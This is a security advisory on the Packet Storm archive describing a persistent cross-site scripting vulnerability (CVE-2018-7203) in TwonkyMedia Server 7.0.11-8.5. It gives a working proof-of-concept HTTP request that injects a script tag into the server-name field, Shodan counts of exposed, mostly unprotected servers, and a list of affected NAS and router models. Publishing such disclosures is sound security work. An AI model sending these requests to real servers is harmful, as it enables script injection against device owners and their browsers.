exploit the possibilities

TwonkyMedia Server 7.0.11-8.5 Cross Site Scripting

TwonkyMedia Server 7.0.11-8.5 Cross Site Scripting
Posted Mar 29, 2018
Authored by Sven Fassbender

TwonkyMedia Server version 7.0.11-8.5 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2018-7203
MD5 | f64187e7f5c4e4d20d908d824c2a8933

TwonkyMedia Server 7.0.11-8.5 Cross Site Scripting

Change Mirror Download
---------------------------------------------------------------------

1. About

---------------------------------------------------------------------
# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Persistent XSS
# Date: 2018-03-27
# Exploit Author: Sven Fassbender
# Contact: https://twitter.com/mezdanak
# Vendor Homepage: http://www.lynxtechnology.com/home
# Software Link: https://twonky.com/downloads/index.html
# Version: 7.0.11-8.5
# CVE : CVE-2018-7203
# Category: webapps

---------------------------------------------------------------------

2. Background information

---------------------------------------------------------------------
"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos,
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.

Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content
between connected devices. Twonky Server is used worldwide and is available as a standalone server
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.

Twonky Serveras web UI provides optimal capability for you to easily and reliably control and play back your
media files in a variety of ways, and to abeama those media files to other connected devices." --extract from https://twonky.com

Statistics:
Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)
Rarely protected by password (only around 2%).

Top Countries:
1. United States
2. Germany
3. Korea
4. Russian Federation
5. France
6. Italy
7. Taiwan
8. Poland
9. Hungary
10. United Kingdom

TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
Thecus N2310
Thecus N4560
WDMyCloud,
MyCloudEX2Ultra,
WDMyCloudEX4,
WDMyCloudEX2100,
QNAP,
Zyxel NAS326,
Zyxel NAS542,
Zyxel NSA310,
Zyxel NSA310S,
Zyxel NSA320,
Zyxel NSA325-v2
...

Other devices:
Belkin routers
Zyxel EMG2926-Q10A
...
---------------------------------------------------------------------

3. Vulnerability description

---------------------------------------------------------------------
TwonkyMedia Server lacks of validating user input in the "Servername" input field.
HTTP request:
POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/webconfig
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 39
Connection: close

friendlyname=<script>alert(1)</script>

HTTP response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 30
Date: Tue, 19 Dec 2017 04:09:21 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

<html><body>ok</body></html>

Now if e.g. http://192.168.188.9:9000 is visited, the injected JavaScript code get's executed.

---------------------------------------------------------------------

4. Fix

---------------------------------------------------------------------
All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable.
While writing this advisory 8.5 is the latest version available:
https://twonky.com/downloads/index.html

---------------------------------------------------------------------

Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    7 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close